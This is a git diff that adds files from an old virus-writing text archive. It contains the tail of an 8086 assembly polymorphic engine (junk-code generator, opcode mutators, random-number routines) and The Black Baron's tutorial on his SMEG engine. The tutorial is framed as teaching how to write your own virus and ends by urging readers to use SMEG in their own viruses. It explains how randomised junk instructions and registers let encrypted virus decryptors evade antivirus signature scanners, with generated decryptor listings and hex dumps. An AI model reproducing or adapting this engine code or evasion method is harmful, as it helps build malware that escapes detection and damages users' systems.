+ sal bh,1 + sal bh,1 + and bh,00111000b + cmp bh,bl ;reg,reg are same? + jz move_with_reg ;dho! + stosw + ret + +; 39 bytes + +reg_exchange: +; modify a mov reg,reg into an xchg reg,reg + + call move_with_reg ;make a mov reg,reg + dec di ;but then remove it + dec di ;and take advantage of the fact the opcode is still in ax + test al,1b ;was a 16 bit type? + jnz reg_exchange ;yeah go for an 8 bitter + mov bh,ah + and bh,07h ;is one of reggies ax? + jz reg_exchange ;yah so bomb + mov al,10000110b ;else make it xchg ah,dl etc. + stosw + ret + +; 19 bytes + +; we can get slick and use the above routines to create a mov instruction +; and then modify it into a math or cmp preserving the pre assembled +; addressing mode + +make_math_with_mem: + call mov_with_mem + push di + sub di,4 + mov al,byte ptr [di] + and al,00000011b ;preserve the pertinent address mode info + push ax + call get_rnd + and al,00111000b ;weed out a new opcode like sub,add etc.. + pop bx + or al,bl ;set the address mode bits + mov byte ptr [di],al ;a new instruction is born! + pop di ;restore our pointer + ret + +; 26 bytes :) + + +do_push_pop: +; we don't have to watch our stack if we pair up pushes with pops +; so I slapped together this peice of shoddy work to add em. + + mov ax,(end_bytes_2-bytes_2)/2 + call rand_in_range + add ax,ax + mov bx,ax + mov ax,word ptr [bytes_2+bx] + stosw + ret +bytes_2: + push ax + pop dx + push ax + pop bx + push ax + pop cx + push bx + pop dx + push bx + pop cx + push cx + pop bx + push cx + pop dx +end_bytes_2: +; 31 bytes + +; the following random number gen routines where originated by rhincewind +; his random in range routine is great :) + + +rand_in_range: push bx ;returns a random num between 0 and entry ax + push dx + xchg ax,bx + call get_rnd + xor dx,dx + div bx + xchg ax,dx ;dx=remainder + pop dx + pop bx + ret +get_rnd: +; simple timer based random numbers but with a twist using xor of last one +; also originated by RhinceWind. + in ax,40h + xor ax, 0FFFFh + org $-2 +Randomize dw ? + mov [Randomize],ax + ret + +rand_16: +; a small variation to compensate for lack of randomocity in the +; high byte of 16 bit result returned by get_rnd + call get_rnd + mov bl,al + call get_rnd + mov ah,bl + ret +;39 + + + + +============================================================================ +Appendix B + + Instruction Bitfeild Layouts + + Section 1 - 8 basic arithmetic intructions bit feild layout. + Covers reg,mem mem,reg and reg,reg but not immediates. + + +first byte second byte - register and address mode + op mode dest source + / \ / \ / \ / \ + 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0 + 0 0 | 0 | | | | | + | | 1 = 16 bit | | 0 0 0 = [BX+SI+] if index mode + | | 0 = 8 bit | | 0 0 1 = [BX+DI+] + | 1 = to reg | | 0 1 0 = [BP+SI+] + | 0 = to mem | | 0 1 1 = [BP+DI+] + | | | 1 0 0 = [SI+] + 0 0 0 = add | | 1 0 1 = [DI+] + 0 0 1 = or | | 1 1 0 = [BP+] + 0 1 0 = adc | | 1 1 1 = [BX+] + 0 1 1 = sbb | 0 0 0 = AX (al) register map + 1 0 0 = and | 0 0 1 = CX (cl) + 1 0 1 = sub | 0 1 0 = DX (dl) + 1 1 0 = xor | 0 1 1 = BX (bl) + 1 1 1 = cmp | 1 0 0 = SP (ah) + | 1 0 1 = BP (ch) + | 1 1 0 = SI (dh) + | 1 1 1 = DI (bh) + 0 0 - register index only (unless bp) + If index reg is [bp+] then + 0 0 = [1000h] 16 bit long only + (there is no [bp] only mode) + 0 1 - immediate is 8 bit short adrress + 1 0 - immediate is 16 bit long address + 1 1 register to register + source bits are second register using + same encoding as destination reg above. + + +; Note : If bit 2 of first byte is 1 then it is type immediate value to +; register : bit 1 (direction bit) will always be a +; zero, bit 0 specifies immediate to an 8 bit register with a single +; byte operand (0) or immediate to an 8 bit register with a word operand(1). +; byte 2 has the destination register using the above encoding only +; moved to the low 3 bits with bits 3,4,5 clear and bits 6 and 7 always +; set. +; operations of type add [memlocation], immediate are in the special +; 'FF' family to be described later. + + + Section 2 ,the 'HiBit' series. Note bits 1 and 0 of first byte + and second byte (addressing mode) is the same as above. + + first byte + op second byte - same as above + / \ + 7 6 5 4 3 2 1 0 + 1 0 | 0 x x - see above + 0 0 0 - Mov + 0 0 1 - + 0 1 0 - + 0 1 1 - + 1 0 0 - + 1 0 1 - + 1 1 0 - + 1 1 1 - + + + + + + + + Section 3 - The '40' series Pushes and pops + + 7 6 5 4 3 2 1 0 + 0 0 0 1 x x x x + | | + | 0 0 0 Ax + | 0 0 1 bx + | 0 1 0 cx + | 0 1 1 dx + | 1 0 0 bp + | 1 0 1 sp + | 1 1 0 si + | 1 1 1 di + | + 0 Push + 1 Pop + diff --git a/textfiles.com/virus/polymorf.txt b/textfiles.com/virus/polymorf.txt new file mode 100644 index 00000000..99facaae --- /dev/null +++ b/textfiles.com/virus/polymorf.txt @@ -0,0 +1,750 @@ +=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + Hey Guyz, + + Another fine release from iLLEGALITY, this time its how to write your own +virus, and get your name in all the computer magazines. I didn't actually +write this thing, the Black Baron did, so don't come running to me when +your test virus wipes your hd, i just distributed the thing. Well anyway +enjoy d00ds, cya at my next release. + + Dr d00m. + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +�袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴� +� A GENERAL DESCRIPTION OF THE METHODS BEHIND A POLYMORPH ENGINE � +� (C) The Black Baron � +훤袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴暠 + +This .TXT attempts to provide an insight into the workings of a Polymorph +Engine. It assumes you are familiar with 8086 assembler and the logic +functions XOR, AND & OR. To this end, no explanation of logic or assembler +will be included in this text! Also note, no SEGMENT stuff will be included +in any of the assembler listings, it is assumed that you know which segments +are in play. The methods described in this .TXT are the ones used in my SMEG +(Simulated Metamorphic Encryption Generator) Polymorph Engine and are by no +means the only way to do it! + +A small glossary of terms used in this document: +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + ENCRYPT = Transform from it's original form to an altered form. + DECRYPT = Transform from it's altered form to it's original form. + KEY = The register or value used to encrypt/decrypt with. + SLIDING KEY = A KEY value that is INCREASED or DECREASED on each loop. + COUNT = The number of bytes in the encrypted code or data. + INDEX = A pointer to the encrypted code or data. + SIGNATURE = A unique group of bytes that can be used to check against + a programs content in the hope of detecting a particular + program. + HEURISTIC = A set of well defined rules to apply to a problem in the + hope of achieving a known result. + +Question: What is a Polymorph? +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +Answer: Well, the Longman English Dictionary defines it as: + + "POLYMORPHOUS also POLYMORPHIC adj fml or tech. + EXISTING IN VARIOUS DIFFERENT FORMS." + +In other words, something that has the ability to change it's shape. Other +ways to describe such a thing might be; Mutable, Metamorphic, Etc... + +Question: What is a Polymorph Engine? +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 +Answer: A program with the abilities to encrypt (or jumble up) another + program or data and provide a unique decryptor for it, it must + do this in such a way that no two encryptions of the same program + or data will look alike. + +Example: Take the following ultra-simple decryptor: + + MOV SI,jumbled_data ;Point to the jumbled data + MOV CX,10 ;Ten bytes to decrypt +main_loop: XOR BYTE PTR [SI],55 ;XOR (un_scramble!) a byte + INC SI ;Next byte + LOOP main_loop ;Loop for the 9 remaining bytes + +This small program will XOR the ten bytes at the location pointed to by SI +with the value 55. Providing the ten bytes were XORed with 55 prior to +running this decryptor the ten bytes will be restored to their original +state. If you are unsure as to why this is, brush up on your XOR logic!! + +Ok, so you might say that if you change the KEY value on each generation it +will become Polymorphic? Well, yes and no! If you did that, the encrypted +portion would be Polymorphic, but the decryptor would still remain mostly the +same, the only change begin the KEY value! So, a signature scanner that +allows WILDCARDS (and most do!) would still be able to find your decryptor! + +One way you could fool some signature scanners is to swap around some of the +instructions. So, with this in mind, the above decryptor might look like: + + MOV CX,10 + MOV SI,jumbled_data +main_loop: XOR BYTE PTR [SI],55 + INC SI + LOOP main_loop + +As you can see, still not much of a change, not really enough to fool some of +the better signature scanners. + +"GET TO THE POINT! WHAT IS A TRUE POLYMORPH?", I hear you cry! +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + +Well, a "true" Polymorph would be a decryptor that looks completely different +on each generation! Take the following decryptor: + + MOV CX,10 + NOP + NOP + MOV SI,jumbled_data + NOP +main_loop: NOP + NOP + XOR BYTE PTR [SI],55 + NOP + INC SI + NOP + NOP + NOP + NOP + LOOP main_loop + +This decryptor is the same as the one before it, but it has has a few random +NOP instructions peppered throughout itself. On each generation you would +vary the amount of NOPs after each instruction. This is a Polymorph in it's +simplest form. Still, most of the good signature scanners would have no +problem with such a simple Polymorph. They would simply skip the NOPs, thus +having a clear view of the decryptor, to which they could apply a signature! + +No, a "true" Polymorph has to be far far more complex then this! Instead of +peppering NOPs throughout the decryptor it would pepper totally random amounts +of totally random 8086 instructions, including JUMPS and CALLS. It would +also use a different main decryptor (possibly from a selection of pre-coded +ones) and would alter all the registers that the decryptor uses on each +generation, making sure that the JUNK code that it generates doesn't destroy +any of the registers used by the real decryptor! So, with these rules in +mind, here is our simple decryptor again: + + MOV DX,10 ;Real part of the decryptor! + MOV SI,1234 ;junk + AND AX,[SI+1234] ;junk + CLD ;junk + MOV DI,jumbled_data ;Real part of the decryptor! + TEST [SI+1234],BL ;junk + OR AL,CL ;junk +main_loop: ADD SI,SI ;junk instruction, real loop! + XOR AX,1234 ;junk + XOR BYTE PTR [DI],55 ;Real part of the decryptor! + SUB SI,123 ;junk + INC DI ;Real part of the decryptor! + TEST DX,1234 ;junk + AND AL,[BP+1234] ;junk + DEC DX ;Real part of the decryptor! + NOP ;junk + XOR AX,DX ;junk + SBB AX,[SI+1234] ;junk + AND DX,DX ;Real part of the decryptor! + JNZ main_loop ;Real part of the decryptor! + +As you should be able to see, quite a mess!! But, still executable code. +It is essential that any junk code generated by the Polymorph Engine is +executable, as it is going to be peppered throughout the decryptor. Note, in +this example, that some of the junk instructions use registers that we are +using in the decryptor! This is fine, providing the values in these +registers aren't destroyed. Also note, that now we have random registers and +random instructions on each generation it makes signature scanning (even for +the clever signature scanners) impossible! Instead, an HEURISTIC method must +be used, which can lead to false alarms. + +So, a Polymorph Engine can be summed up into three major parts: +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + 1 .. The random number generator. + 2 .. The junk code generator. + 3 .. The decryptor generator. + +There are other discrete parts but these three are the ones where most of the +work goes on! + +How does it all work? Well, SMEG goes about generating random decryptors in +the following way: + + 1 .. Chooses a random selection of registers to use for the decryptor. + Leaving the remaining registers as "junk" registers for the junk code + generator. + + 2 .. Chooses one of the compressed pre-coded decryptors. + + 3 .. Goes into a loop generating the real decryptor, peppered with junk + code. + +To understand how the selected registers are slotted into the decryptors and +the junk code you must look at the 8086 instructions from a binary level: + + XOR AX,AX = 00110001 11000000 + XOR AX,CX = 00110001 11001000 + XOR AX,DX = 00110001 11010000 + XOR AX,BX = 00110001 11011000 + +You should be able to see a pattern in the binary code for these four 8086 +instructions? Well, all 8086 instructions follow logical patterns, and it is +these patterns that tell the 8086 processor which registers/addressing mode +to use for a particular instruction. The total amount of instruction formats +and the precise logic regarding the patterns is too complex to go into here. +However, all good 8086 tutorials/reference guides will explain in full. + +SMEG exploits this pattern logic to generate junk code and decryptors with +random registers, as the patterns directly relate to the registers Etc. + +SMEG generates junk code in the following way: +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + +Inside SMEG there is a table of the basic binary patterns for all of the 8086 +instruction set, but with one important difference, all the register/address +mode bits are zero. This is called the SKELETON INSTRUCTION TABLE. The +table also contains various other bytes used by SMEG to determine the +relevant bit positions to "plug in" the register bit patterns. These +patterns are plugged in via the logic processes OR and AND. Using this +method, SMEG can generate endless amounts of random 8086 instructions without +destroying any of the registers used by the decryptor proper. +SMEG also contains some discrete logic for producing false CALLS to dummy +subroutines and also false conditional JMPS around the junk code. + +SMEG generates the decryptor proper in the following way: +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + +Inside SMEG there is a table containing a selection of common 8086 +instructions used in decryptors, such as XOR [index],reg Etc. These are, +again, stored in SKELETON FORM with some control bytes used by the decryptor +generator. Also, inside SMEG, there are several pre-coded decryptors stored +in a compressed form. On average, a complete decryptor can be described to +the decryptor generator in as few as 11 bytes and adding to the list of +pre-coded decryptors is both painless and economical with space! + +SMEG generates the Polymorphed decryptor in the following way: +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + +First it chooses, at random, one of the pre-coded compressed decryptors. +Next it goes into a loop uncompressing each decryptor instruction, plugging +in the required registers, storing it and then generating (for each real +instruction) a random amount of random instructions. This loop repeats until +the complete decryptor has been constructed. The final result is a random +size, random register, random patterned decryptor! + +It should also be noted that whenever SMEG generates an INDEXed instruction +it uses either SI, DI or BX at random, also it sometimes uses a random offset. +For example, say the encrypted code started at address 10h, the following +could be used to index this address: + + MOV SI,10h ;Start address + MOV AL,[SI] ;Index from initial address + +But sometimes SMEG will generate something like the following, again based on +the encrypted code starting at address 10h: + + MOV DI,0BFAAh ;Indirect start address + MOV AL,[DI+4066h) ;4066h + 0BFAAh = 10010h (and FFFF = 10h)!! + +These indexed and initial values are picked at complete random, and the +examples of 0BFAAh and 4066h are valid, but next time they will be completely +different! + +The following are two decryptors that were generated with my SMEG Polymorph +Engine. It should be noted that I generated 4000 examples with no two alike! +Unfortunately I ran out of hard drive space! But it is fairly safe to say +that the total number of decryptor combinations would run into the BILLIONS! + +All the lines marked with ";junk" in the following listings indicate random +junk instructions that were inserted throughout the actual decryptor, note +that SMEG has the ability to generate junk CALLS to false SUBROUTINES, as +well as general junk conditional jumps! All lines marked with a * indicate +an actual part of the decryptor proper. I chose the two generations shown +because their sizes were similar, 386 and 480 bytes. SMEG produces +decryptors ranging in size from as little as 288 to as much as 1536 bytes. +Even if two decryptors are generated that are the same size the chances of +them being the same are, literally, billions to one! + + +;Assembler listing for decryptor 1, size 368 bytes. +;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 +;Size of the encrypted code was 07DBh (2011 bytes) +;The encrypted code started at address 0270h + +;This decryptor was generated to use the following registers: +; +; DX = Count of bytes in the encrypted code +; BX = Index pointing to the encrypted code +; AL = The encryption key +; CL = General work register + +0100 JNS 0103 ;junk +0102 CLD ;junk +0103 SAR SI,CL ;junk +0105 CMP BP,0708 ;junk +0109 STC ;junk +010A JG 010E ;junk +010C OR SI,CX ;junk +010E XOR DI,3221 ;junk +0112 ADD BP,0805 ;junk +0116 AND BP,3512 ;junk +011A SHR SI,CL ;junk +011C MOV SI,1B04 ;junk +0120 SAR DI,CL ;junk +0122 ADC SI,2506 ;junk +0126 ADC DI,1F11 ;junk +012A SBB BP,[0F3E] ;junk +012E CMP BP,3F1E ;junk +0132 DEC SI ;junk +0133 NOT DI ;junk +0135 AND SI,083D ;junk +0139 INC SI ;junk +013A SBB DI,0103 ;junk + +013E MOV DX,1791 ;* Set up the COUNT register + ; 3x Actual number of bytes! + +0141 CLD ;junk +0142 JB 0146 ;junk +0144 TEST SI,AX ;junk +0146 SBB DI,SP ;junk +0148 TEST DI,[251B] ;junk +014C TEST CL,[SI] ;junk +014E SHL BP,1 ;junk +0150 MOV BX,017D ;junk +0153 CMC ;junk +0154 MOV DI,1218 ;junk +0158 JO 015C ;junk +015A RCR DI,1 ;junk +015C STC ;junk +015D CMP BP,DI ;junk + +015F MOV AX,CS ;* Get CODE SEG in AX + +0161 TEST CH,[BX+17] ;junk +0164 SBB BP,3107 ;junk +0168 INC DI ;junk +0169 RCR BP,1 ;junk + +016B MOV DS,AX ;* Make DATA SEG = CODE SEG + +016D ADD DI,[3B04] ;junk + +0171 MOV AL,50 ;* Set up decrypt KEY reg + +0173 JNB 0179 ;junk +0175 MOV SI,1439 ;junk +0179 JB 017D ;junk +017B ADC DI,AX ;junk +017D JMP 0185 ;junk +0180 MOV BP,1B36 ;junk +0184 RET ;junk +0185 RCR SI,1 ;junk + +0187 MOV BX,842D ;* Set up the INDEX register + +018A SUB SI,CX ;junk * Decryptor MAIN LOOP + +018C OR DI,0B0F ;junk +0190 MOV BP,1E3E ;junk +0194 RCL DI,CL ;junk +0196 SUB BP,2E12 ;junk +019A ADD DI,[2E2A] ;junk +019E ROL SI,CL ;junk + +01A0 MOV CL,[BX+7E43] ;* Get next encrypted byte + ; NOTE: original index 842Dh plus 7E43h = + ; 10270h AND FFFFh = 0270h! Which is the + ; start of the Encrypted code! + +01A4 JZ 01AC ;junk +01A6 TEST BH,[DI+2B3B] ;junk +01AA CMP [BP+SI],DL ;junk +01AC ROL DI,1 ;junk +01AE SBB DI,263A ;junk + +01B2 DEC DX ;* Dec the COUNT register (x1) + +01B3 CALL 0180 ;junk +01B6 MOV DI,CX ;junk +01B8 ADC BP,282E ;junk + +01BC SUB CL,AL ;* Decrypt byte using KEY reg + +01BE MOV SI,372A ;junk +01C2 TEST BP,3A10 ;junk +01C6 CALL 0180 ;junk +01C9 ADC SI,1317 ;junk +01CD CLD ;junk + +01CE INC AX ;* Increase the KEY reg + +01CF XOR SI,203D ;junk +01D3 JMP 01E1 ;junk +01D6 DEC DI ;junk +01D7 CMC ;junk +01D8 SUB BP,[3624] ;junk +01DC XOR SI,0200 ;junk +01E0 RET ;junk +01E1 CMP [SI+13],BH ;junk + +01E4 SUB DX,0001 ;* Dec the COUNT register (x2) + +01E8 CMP AX,0517 ;junk +01EC SUB BP,2816 ;junk +01F0 AND SI,0807 ;junk +01F4 SUB SI,2E03 ;junk +01F8 ROR BP,1 ;junk +01FA INC DI ;junk +01FB RCR SI,CL ;junk +01FD TEST CH,DH ;junk +01FF SUB BP,1026 ;junk + +0203 MOV [BX+7E43],CL ;* Store the decrypted byte + +0207 JNB 020D ;junk +0209 XOR DI,1B30 ;junk +020D CLD ;junk +020E ADD SI,3C38 ;junk + +0212 INC BX ;* Increase the INDEX reg + +0213 XOR DI,0B2C ;junk +0217 JMP 022F ;junk +021A OR BP,1C18 ;junk +021E JLE 0221 ;junk +0220 DEC BP ;junk +0221 ADC SI,0E32 ;junk +0225 AND DI,1522 ;junk +0229 CMP [BP+SI+36],BH ;junk +022C ROL SI,1 ;junk +022E RET ;junk +022F SHL DI,1 ;junk +0231 SHR DI,1 ;junk + +0233 DEC DX ;* Dec the COUNT register (x3) + ; Hence the 3x original size! + +0234 JNZ 023F ;* Not zero then jump to 023Fh + +0236 TEST CL,[BP+DI] ;junk +0238 ADC BP,012D ;junk + +023C JMP 025B ;* Finished decrypting! + +023F INC BP ;junk +0240 JNB 0246 ;junk +0242 CMP BX,0E2E ;junk +0246 TEST DI,SI ;junk +0248 SBB SI,3233 ;junk + +024C MOV CX,018A ;* Set address of MAIN LOOP + +024F ROL DI,1 ;junk +0251 SUB DI,BX ;junk +0253 SHR DI,1 ;junk +0255 TEST BL,[BX+DI+1C2E] ;junk + +0259 PUSH CX ;* Stack LOOP address +025A RET ;* RETurn to MAIN LOOP + +025B MOV SI,211F ;junk +025F CMP BL,[BX+DI] ;junk +0261 SUB BP,2D33 ;junk +0265 MOV BP,3735 ;junk +0269 XOR SI,SI ;junk +026B MOV BP,[0A38] ;junk +026F INC DI ;junk + +0270 The encrypted code starts here. + +;****************** End of decryptor 1 assembler listing. ******************* + + +;Assembler listing for encryptor 2, size 480 bytes. +;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 +;Size of the encrypted code was 07DBh (2011 bytes) +;The encrypted code started at address 02E0h + +;This decryptor was generated to use the following registers: +; +; AX = Count of bytes in the encrypted code +; BX = Index pointing to the encrypted code +; DL = The encryption key +; CL = General work register + +0100 NOT SI ;junk +0102 TEST CH,[BP+DI+0F] ;junk +0105 INC DI ;junk +0106 CLD ;junk +0107 ADC DI,132A ;junk +010B JPE 0111 ;junk +010D OR DI,332E ;junk +0111 INC SI ;junk +0112 TEST AL,CH ;junk +0114 JMP 0120 ;junk +0117 JPE 011D ;junk +0119 CMP DX,1909 ;junk +011D RCR DI,CL ;junk +011F RET ;junk +0120 INC DI ;junk +0121 TEST DI,BP ;junk +0123 JMP 0133 ;junk +0126 TEST DI,0E24 ;junk +012A TEST DI,093A ;junk +012E AND DI,SP ;junk +0130 CMP [BP+SI],BH ;junk +0132 RET ;junk +0133 MOV BP,0C28 ;junk +0137 TEST DH,CH ;junk +0139 TEST BP,1C16 ;junk +013D ROR BP,CL ;junk +013F JZ 0145 ;junk +0141 TEST DH,[BX] ;junk +0143 ADD DI,SP ;junk +0145 TEST CL,[SI+3435] ;junk +0149 MOV BP,2E08 ;junk +014D TEST CX,DI ;junk +014F CLD ;junk +0150 MOV SI,3831 ;junk +0154 AND BP,363E ;junk +0158 ROR DI,CL ;junk +015A CLC ;junk +015B JNS 0163 ;junk +015D SAR SI,1 ;junk +015F SBB DI,3308 ;junk +0163 SBB DI,362B ;junk + +0167 MOV AX,07DB ;* Set up the COUNT register + +016A AND DI,0F1E ;junk +016E JMP 0182 ;junk +0171 MOV DI,2F31 ;junk +0175 CMP CX,2212 ;junk +0179 SBB SI,2E14 ;junk +017D TEST BL,[SI+341D] ;junk +0181 RET ;junk +0182 CMP BH,19 ;junk + +0185 MOV BX,B977 ;* Set up the INDEX register + +0188 TEST AL,[DI+072C] ;junk +018C TEST DI,2306 ;junk +0190 SHR SI,1 ;junk + +0192 MOV DX,CS ;* Get CODE SEG in DX + +0194 CALL 0171 ;junk +0197 TEST SI,1410 ;junk +019B CLC ;junk +019C SHL DI,CL ;junk + +019E MOV DS,DX ;* Make DATA SEG = CODE SEG + +01A0 NEG SI ;junk +01A2 CALL 0171 ;junk +01A5 TEST CH,[BP+DI+070F] ;junk + +01A9 MOV DL,8D ;* Set decrypt KEY register + +01AB MOV DI,3A30 ;junk +01AF JMP 01B9 ;junk +01B2 JBE 01B5 ;junk +01B4 INC DI ;junk +01B5 NOT DI ;junk +01B7 CMC ;junk +01B8 RET ;junk +01B9 XOR CX,DX ;junk + +01BB CALL 01B2 ;junk * Decryptor MAIN LOOP + +01BE TEST SI,3029 ;junk +01C2 INC DI ;junk +01C3 SBB DI,1E19 ;junk +01C7 MOV DI,0038 ;junk +01CB RCR DI,CL ;junk +01CD MOV BP,1809 ;junk + +01D1 NEG BYTE PTR [BX+4969] ;* NEG the byte at [BX + 4969] + ; NOTE: original index B977h plus + ; 4969h = 102E0h AND FFFFh = 02E0h! + ; Which is the start of the + ; encrypted code! + +01D5 TEST BP,2A37 ;junk +01D9 CMP CX,2B37 ;junk +01DD JMP 01E2 ;junk +01E0 DEC DI ;junk +01E1 RET ;junk + +01E2 MOV CL,[BX+4969] ;* Get the NEGed byte into CL + +01E6 CMC ;junk +01E7 ROR DI,CL ;junk +01E9 INC BP ;junk +01EA TEST DI,281E ;junk +01EE JZ 01F3 ;junk +01F0 TEST BH,[BX+DI+05] ;junk +01F3 MOV DI,160C ;junk +01F7 SUB BP,BP ;junk + +01F9 XOR CX,DX ;* XOR byte with the KEY + +01FB TEST BL,[BP+DI+3C] ;junk +01FE JNB 0204 ;junk +0200 ADD BP,0A13 ;junk +0204 CMP [BX+DI],CL ;junk +0206 CALL 01E0 ;junk +0209 CALL 01E0 ;junk +020C DEC DI ;junk +020D AND DI,073A ;junk + +0211 DEC AX ;* Decrease the COUNT register + +0212 XOR DI,2036 ;junk +0216 NEG BP ;junk +0218 ADC DI,SP ;junk +021A CMC ;junk +021B CMP BL,[BX+SI] ;junk + +021D DEC DX ;* Decrease the KEY register + +021E ADC BP,1821 ;junk +0222 SHL DI,CL ;junk +0224 CMP AX,1816 ;junk +0228 SHL DI,1 ;junk +022A CMP AL,[BP+DI+1A] ;junk +022D MOV SI,1819 ;junk +0231 ADD SI,063B ;junk + +0235 DEC DX ;* Decrease the KEY register + +0236 SUB BP,0028 ;junk +023A AND BP,1930 ;junk +023E CLD ;junk +023F ADC BP,2D1D ;junk +0243 SAR DI,CL ;junk + +0245 XCHG CX,DX ;* Swap CX & DX + +0247 TEST CX,DX ;junk +0249 MOV SI,CX ;junk +024B XOR SI,030D ;junk +024F SUB DI,311C ;junk + +0253 XCHG DL,[BX+4969] ;* Swap [index] & DL + ; NOTE: This restores the decrypted byte! + +0257 ADD DI,0E13 ;junk +025B CMP BL,[BP+DI+33] ;junk +025E CLD ;junk +025F NOT SI ;junk +0261 MOV SI,3F1C ;junk + +0265 XCHG CX,DX ;* Swap CX & DX, restoring the KEY in DL + +0267 MOV SI,221A ;junk +026B OR BP,0D2C ;junk +026F MOV DI,231B ;junk + +0273 ADD BX,0001 ;* Increase the INDEX register + +0277 JMP 0288 ;junk +027A ADC BP,AX ;junk +027C TEST BL,[DI+19] ;junk +027F TEST DI,0321 ;junk +0283 NEG DI ;junk +0285 ROL SI,CL ;junk +0287 RET ;junk +0288 SBB BP,1B0D ;junk +028C XOR BP,2A23 ;junk +0290 CMP DL,3A ;junk +0293 TEST BH,[DI] ;junk + +0295 AND AX,AX ;* Test if COUNT is zero +0297 JNZ 02AD ;* Jump to 02ADh if not + +0299 CALL 027A ;junk +029C AND DI,291F ;junk +02A0 JA 02A6 ;junk +02A2 MOV DI,0514 ;junk +02A6 ADC SI,1F2A ;junk + +02AA JMP 02BC ;* Finished decrypting + +02AD JMP 02B2 ;junk +02B0 CLC ;junk +02B1 RET ;junk +02B2 SHL DI,CL ;junk +02B4 CLD ;junk +02B5 ADD SI,2C1A ;junk + +02B9 JMP 01BB ;* Jump to MAIN LOOP + +02BC TEST BH,BL ;junk +02BE MOV DI,210C ;junk +02C2 SUB SI,1600 ;junk +02C6 CALL 02B0 ;junk +02C9 XOR SI,2F1D ;junk +02CD MOV BP,0430 ;junk +02D1 TEST BH,[DI+362A] ;junk +02D5 OR DI,1C21 ;junk +02D9 STC ;junk +02DA CMP DI,2828 ;junk +02DE CLC ;junk +02DF DEC BP ;junk + +02E0 The encrypted code starts here. + +;****************** End of decryptor 2 assembler listing. ******************* + + +The following are the HEX dumps for both of the above decryptors, decryptor 1 +is on the left and 2 is on the right. These dumps are to show that it would +be very difficult to find a signature that could be applied to each of these +decryptors in the hope of detecting them both, this is the main purpose of a +Polymorph Engine! To detect, therefore, you would have to write a program +that tries to use intelligence to work out if what it is looking at is a +Polymorph generated decryptor. This is prone to false alarms or, in certain +cases, missing the decryptor totally! + + +HEX DUMP OF ENCRYPTOR 1, 368 bytes HEX DUMP OF ENCRYPTOR 2, 480 bytes +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + 7901FCD3FE81FD0807F97F020BF181F7 F7D6846B0F47FC81D72A137A0481CF2E + 213281C5050881E51235D3EEC7C6041B 334684C5E909007A0481FA0919D3DFC3 + D3FF81D6062581D7111F1B2E3E0F81FD 4785FDE90D00F7C7240EF7C73A0923FC + 1E3F4EF7D781E63D084681DF0301BA91 383AC3C7C5280C84F5F7C5161CD3CD74 + 17FC720285F01BFC853E1B25840CD1E5 04843703FC848C3534C7C5082E85CFFC + BB7D01F5C7C718127002D1DFF939FD8C C7C6313881E53E36D3CFF87906D1FE81 + C8846F1781DD073147D1DD8ED8033E04 DF083381DF2B36B8DB0781E71E0FE911 + 3BB0507304C7C63914720213F8E90500 00C7C7312F81F9122281DE142E849C1D + C7C5361BC3D1DEBB2D842BF181CF0F0B 34C380FF19BB77B984852C07F7C70623 + C7C53E1ED3D781ED122E033E2A2ED3C6 D1EE8CCAE8DAFFF7C61014F8D3E78EDA + 8A8F437E740684BD3B2B3812D1C781DF F7DEE8CCFF84AB0F07B28DC7C7303AE9 + 3A264AE8CAFF8BF981D52E282AC8C7C6 0700760147F7D7F5C333CAE8F4FFF7C6 + 2A37F7C5103AE8B7FF81D61713FC4081 29304781DF191EC7C73800D3DFC7C509 + F63D20E90B004FF52B2E243681F60002 18F69F6949F7C5372A81F9372BE90200 + C3387C1381EA010081F8170581ED1628 4FC38A8F6949F5D3CF45F7C71E287403 + 81E6070881EE032ED1CD47D3DE84EE81 847905C7C70C162BED33CA845B3C7304 + ED2610888F437E730481F7301BFC81C6 81C5130A3809E8D7FFE8D4FF4F81E73A + 383C4381F72C0BE9150081CD181C7E01 074881F73620F7DD13FCF53A184A81D5 + 4D81D6320E81E72215387A36D1C6C3D1 2118D3E781F81618D1E73A431AC7C619 + E7D1EF4A7509840B81D52D01E91C0045 1881C63B064A81ED280081E53019FC81 + 730481FB2E0E85FE81DE3332B98A01D1 D51D2DD3FF87CA85CA8BF181F60D0381 + C72BFBD1EF84992E1C51C3C7C61F213A EF1C318697694981C7130E3A5B33FCF7 + 1981ED332DC7C5353733F68B2E380A47 D6C7C61C3F87CAC7C61A2281CD2C0DC7 + C71B2381C30100E90E0013E8845D19F7 + C72103F7DFD3C6C381DD0D1B81F5232A + 80FA3A843D23C07514E8DEFF81E71F29 + 7704C7C7140581D62A1FE90F00E90200 + F8C3D3E7FC81C61A2CE9FFFE84FBC7C7 + 0C2181EE0016E8E7FF81F61D2FC7C530 + 0484BD2A3681CF211CF981FF2828F84D + +Now read SMEG.TXT to see how to use SMEG.OBJ (SMEG v0.3) in your own viruses +and programs! + +��� (C) The Black Baron ��� + diff --git a/textfiles.com/virus/polymorph.txt b/textfiles.com/virus/polymorph.txt new file mode 100644 index 